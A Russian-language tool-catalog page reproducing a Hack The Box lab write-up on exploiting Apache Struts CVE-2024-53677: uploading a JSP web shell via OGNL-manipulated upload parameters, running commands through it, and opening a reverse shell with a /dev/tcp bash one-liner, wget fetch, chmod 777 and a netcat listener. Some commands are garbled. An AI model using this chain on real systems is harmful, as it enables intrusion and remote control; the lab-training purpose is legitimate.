Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Пошаговое руководство по эксплуатации уязвимости Apache Struts CVE-2024-53677 (RCE) через манипуляцию загрузкой файлов, включая внедрение OGNL, встраивание полезной нагрузки и установку обратной оболочки.

Репозиторий
161 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплуатация CVE-2024-53677

Apache Struts RCE через загрузку файлов

Описание

CVE-2024-53677 — это уязвимость, затрагивающая Apache Struts версий с 2.0.0 до 6.4.0. ⚠️ Эта уязвимость была использована в лаборатории Hack The Box.

Логика загрузки файлов в Apache Struts имеет недостаток. Злоумышленник может манипулировать параметрами загрузки файлов для обхода путей, и в некоторых обстоятельствах это может привести к загрузке вредоносного файла, который может быть использован для удаленного выполнения кода. 🔗 Ссылка: Запись NIST NVD

Разведка

Определение вектора атаки

изображение
  1. На сайте есть функция загрузки изображений.
  2. Загруженные файлы сохраняются по адресу: ip/uploads/20250213_014317/starwars.png
  3. При успешной загрузке общая ссылка на изображение имеет URL ip/s/04ab2f40
  4. Определение версии Apache Struts
  • Раскрытый pom.xml показал Apache Struts 6.3.0.1
  • Подтверждена уязвимость к CVE-2024-53677

📸 Раскрытие pom.xml:
изображение

Эксплуатация

Изменение запроса загрузки файлов

Для эксплуатации этой уязвимости мы используем BurpSuite и его функционал Repeater для изменения пакетов перед отправкой. Ниже представлен неотредактированный запрос.

изображение

Наши проблемы: сайт блокирует типы файлов, отличные от [JPG, JPEG, PNG, GIF], и все в каталоге /uploads неисполнимо. Чтобы обойти эти ограничения, мы сначала добавим еще один параметр.

тест

Добавленный параметр использует OGNL (Object-Graph Navigation Language), который Apache Struts использует для обработки входных данных. FileUploadInterceptor обрабатывает этот параметр перед обработкой самого PNG-изображения, что позволяет злоумышленникам манипулировать запросом и потенциально выполнить произвольный код.

Завершение эксплуатации

После добавления измененного параметра серверный ответ подтверждает, что файл был успешно загружен. Однако мы замечаем, что путь к файлу отличается от обычного каталога загрузок.

plshelp

Прикрепление полезной нагрузки

Далее мы внедряем полезную нагрузку, добавляя ее непосредственно под данными изображения и прямо перед нашими внедренными параметрами. Исходный код оболочки можно получить 🔗 Ссылка: shell.jsp Кроме того, одна важная деталь: запрос требует "Upload" с заглавной U вместо строчной upload. Это соответствует структуре эксплойта, наблюдаемой в: 🔗 Ссылка: exploit.py

С этими изменениями мы отправляем запрос. Сервер отвечает аналогично, подтверждая успешную загрузку и отражая скорректированный путь к файлу.

Навигация по эксплойту

Теперь, перейдя по следующему URL, мы можем взаимодействовать с загруженной оболочкой.

 ip/shelll.jsp?action=cmd&cmd=id 
финальная оболочка

На этом этапе мы можем установить обратную оболочку, используя локально размещенный веб-сервер. Простой способ сделать это — с помощью Python: python3 http.server -m 3004

Далее создайте базовый скрипт оболочки (например, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

Используйте wget для его загрузки wget http://ip_address/filename -O /tmp

После загрузки предоставьте права на выполнение chmod +777 /tmp/filename

а затем используйте nc (netcat) для прослушивания обратной оболочки. nc -lvnp $PORT

Наконец выполните ./filename

Скачать инструмент